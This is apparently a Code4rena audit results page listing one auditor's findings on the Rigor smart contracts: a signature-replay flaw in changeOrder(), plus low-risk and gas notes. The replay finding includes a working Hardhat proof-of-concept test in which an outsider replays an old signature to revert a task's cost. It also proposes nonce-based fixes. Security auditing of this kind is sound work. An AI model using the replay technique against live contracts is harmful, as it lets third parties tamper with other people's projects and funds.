Platform: Code4rena
Start Date: 01/08/2022
Pot Size: $50,000 USDC
Total HM: 26
Participants: 133
Period: 5 days
Judge: Jack the Pug
Total Solo HM: 6
Id: 151
League: ETH
Rank: 36/133
Findings: 3
Award: $179.30
🌟 Selected for report: 0
🚀 Solo Findings: 0
94.8726 USDC - $94.87
https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L386
The changeOrder()
function allows a builder/contractor to change a certain order's parameters by receiving a hash confirming the sender's signature and the data which serves as the parameters to modify. But the contract lacks any sort of security check to ensure the same hashes cannot be replayed, meaning anyone could grief the project by reverting those parameters to a previous state by reusing previous hashes.
orderChanged()
is called emitting an event with both hashes and dataorderChanged()
is called once again, changing the order to a second stateThe following test can be run in order to reproduce the issue, paste the code at line 879 in projectTests.ts (further tests will fail).
it('anybody can change order to a past state', async () => { const taskID = 2; // invite SC await (await project.inviteSC([taskID], [signers[2].address])).wait(); // accept SC invitation await (await project.connect(signers[2]).acceptInviteSC([taskID])).wait(); const newSC = signers[2].address; const newCost = taskCost * 2; const projectAddress = project.address; const data1 = { types: ['uint256', 'address', 'uint256', 'address'], values: [taskID, newSC, newCost, projectAddress], }; let [encodedData, signature] = await multisig(data1, [ signers[1], signers[2], ]); let tx = await project.changeOrder(encodedData, signature); //set order const secondCost = newCost * 2; //setting different cost const data2 = { types: ['uint256', 'address', 'uint256', 'address'], values: [taskID, newSC, secondCost, projectAddress], }; let [encodedData2, signature2] = await multisig(data2, [ signers[1], signers[2], ]); tx = await project.changeOrder(encodedData2, signature2); //increase the order cost expect( await (await project.getTask(taskID)).cost ).to.be.equal(secondCost); //check if cost has increased //signers[6] is an address completely unrelated to the project tx = await project.connect(signers[6]).changeOrder(encodedData, signature); //outsider replays previous signature and set the order back expect( await (await project.getTask(taskID)).cost ).to.be.equal(newCost); //confirms the order was reverted to an initial state }); //medium test
Code reading, hardhat
The issue cannot be reproduced if updateProjectHash()
is called, which increases the nonce utilized in the signatures. Make sure to call this function internall after changing orders.
Alternatively, a mapping pointing to a bool value which signifies if the hash has been used before.
#0 - zgorizzo69
2022-08-09T08:27:31Z
perfect description with a test to assess the problem :1st_place_medal:
#1 - jack-the-pug
2022-08-27T04:49:31Z
Duplicate of #95
🌟 Selected for report: Lambda
Also found by: 0x1f8b, 0x52, 0xA5DF, 0xNazgul, 0xNineDec, 0xSmartContract, 0xSolus, 0xf15ers, 0xkatana, 0xsolstars, 8olidity, Aymen0909, Bahurum, Bnke0x0, CertoraInc, Chom, CodingNameKiki, Deivitto, Dravee, ElKu, Extropy, Funen, GalloDaSballo, Guardian, IllIllI, JC, Jujic, MEP, Noah3o6, ReyAdmirado, Rohan16, Rolezn, Ruhum, Sm4rty, SooYa, Soosh, Throne6g, TomJ, Tomio, TrungOre, Waze, Yiko, _Adam, __141345__, a12jmx, ajtra, ak1, arcoun, asutorufos, ayeslick, benbaessler, berndartmueller, bin2chen, bobirichman, brgltd, bulej93, byndooa, c3phas, codexploder, cryptonue, cryptphi, defsec, delfin454000, dipp, djxploit, erictee, exd0tpy, fatherOfBlocks, gogo, hake, hansfriese, horsefacts, hyh, ignacio, indijanc, joestakey, kaden, mics, minhquanym, neumo, obront, oyc_109, p_crypt0, pfapostol, poirots, rbserver, robee, rokinot, rotcivegaf, sach1r0, saian, samruna, saneryee, scaraven, sikorico, simon135, sseefried, supernova
62.7082 USDC - $62.71
https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L903-L911
Since USDC has 6 decimals, 1 cent is equivalent to 0.01 * 1e6 = 1e4, which makes the calculation be equal to zero.
https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/HomeFi.sol#L200
https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/ProjectFactory.sol#L78
https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L514 https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L520
uint256()
castinghttps://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L200
https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/HomeFi.sol#L225
This happens because the community count is increased before _communities[communityCount]
is called.
https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Community.sol#L140
#0 - zgorizzo69
2022-08-09T08:39:04Z
thanks for your work good call for the check precision
🌟 Selected for report: c3phas
Also found by: 0x040, 0x1f8b, 0xA5DF, 0xNazgul, 0xSmartContract, 0xSolus, 0xc0ffEE, 0xkatana, 0xsam, 8olidity, Aymen0909, Bnke0x0, CertoraInc, Chinmay, Chom, CodingNameKiki, Deivitto, Dravee, ElKu, Extropy, Fitraldys, Funen, GalloDaSballo, Guardian, IllIllI, JC, Lambda, MEP, Metatron, MiloTruck, Noah3o6, NoamYakov, PaludoX0, ReyAdmirado, Rohan16, Rolezn, Ruhum, Sm4rty, SooYa, TomJ, Tomio, Waze, _Adam, __141345__, a12jmx, ajtra, ak1, apostle0x01, asutorufos, ballx, benbaessler, bharg4v, bobirichman, brgltd, cryptonue, defsec, delfin454000, dharma09, djxploit, durianSausage, eierina, erictee, fatherOfBlocks, gerdusx, gogo, hake, hyh, ignacio, jag, kaden, kyteg, lucacez, mics, minhquanym, oyc_109, pfapostol, rbserver, ret2basic, robee, rokinot, sach1r0, saian, samruna, scaraven, sikorico, simon135, supernova, teddav, tofunmi, zeesaw
21.7223 USDC - $21.72
payable
modifierhttps://github.com/code-423n4/2022-08-rigor/blob/main/contracts/HomeFi.sol
https://github.com/code-423n4/2022-08-rigor/blob/main/contracts/Project.sol#L412
#0 - zgorizzo69
2022-08-09T08:41:06Z
thanks for your work